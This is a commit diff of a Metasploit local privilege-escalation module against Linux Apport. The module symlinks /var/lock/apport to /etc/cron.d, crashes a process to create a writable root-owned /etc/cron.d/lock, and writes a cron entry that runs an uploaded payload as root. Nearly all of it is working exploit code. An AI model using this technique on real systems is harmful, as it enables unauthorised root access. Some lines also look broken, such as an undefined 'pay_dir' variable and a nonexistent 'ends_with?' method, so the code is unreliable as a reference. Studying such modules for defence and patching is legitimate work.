@@ -11,9 +11,6 @@ class MetasploitModule < Msf::Exploit::Local
11
11
include Msf ::Post ::Linux ::Kernel
12
12
include Msf ::Post ::File
13
13
14
- # TODO: targets in the initialize method and how they work
15
- # TODO other priv esc vectors, startup folders, periodic scripts
16
- # change name to apport exploit, checking lesser version of apport in check method, are they vunerable?
17
14
def initialize ( info = { } )
18
15
super (
19
16
update_info (
@@ -29,7 +26,7 @@ def initialize(info = {})
29
26
} ,
30
27
'License' => MSF_LICENSE ,
31
28
'Author' => [
32
- 'gardnerapp' # mirageinfosec.cloud
29
+ 'gardnerapp'
33
30
] ,
34
31
'References' => [
35
32
[
@@ -99,9 +96,10 @@ def check
99
96
CheckCode ::Safe
100
97
end
101
98
102
- # hijack symlink by creating apport crash
99
+ # Crash Apport and hijack a symlink
100
+ # this will creat a rwx /etc/cron.d/lock owned by root
103
101
def hijack_apport
104
- # Create symlink, this will create a rwxrwxrwx root:root /etc/cron.d/lock
102
+
105
103
print_status ( "Creating symlink..." )
106
104
link = cmd_exec ( 'ln -s /etc/cron.d /var/lock/apport' )
107
105
print_status ( link )
@@ -110,23 +108,24 @@ def hijack_apport
110
108
print_status ( "Triggering crash..." )
111
109
cmd_exec 'sleep 10s & kill -11 $!'
112
110
113
- # need method for seeing if file is owned by root and combine with and gate
114
- # TODO want to check if file is root owned to ensure exploit workedd
115
- if !writable? ( '/etc/cron.d/lock' )
111
+ @cron = '/etc/cron.d/lock'
112
+
113
+ # Make sure it's writable and owned by root
114
+ unless exist? ( @cron )
116
115
fail_with ( Failure ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
117
116
else
118
117
print_good ( "Successfully created /etc/cron.d/lock" )
119
118
end
120
119
end
121
120
122
121
def write_payload
123
- print_status 'Uploading payload'
122
+ print_status 'Uploading payload.. '
124
123
125
- payload_dir = datastore [ 'WritableDir ' ]
124
+ payload_dir = datastore [ 'Writable_Dir ' ]
126
125
127
126
payload_dir += '/' unless pay_dir . ends_with? '/'
128
127
129
- payload_file = datastore [ 'PayloadFilename ' ]
128
+ payload_file = datastore [ 'Payload_Filename ' ]
130
129
131
130
@payload_dest = "#{ payload_dir } #{ payload_file } "
132
131
@@ -140,9 +139,10 @@ def write_payload
140
139
end
141
140
142
141
def write_cron
143
- cron_file = '/etc/cron.d/lock'
144
142
cron_interval = datastore [ 'CRON_INTERVAL' ]
145
- write_file ( cron_file , "#{ cron_interval } #{ @payload_dest } " )
143
+ data = "#{ cron_interval } #{ @payload_dest } "
144
+ write_file ( @cron , data )
145
+ print_good "Successfully wrote crontab!"
146
146
end
147
147
148
148
def exploit
0 commit comments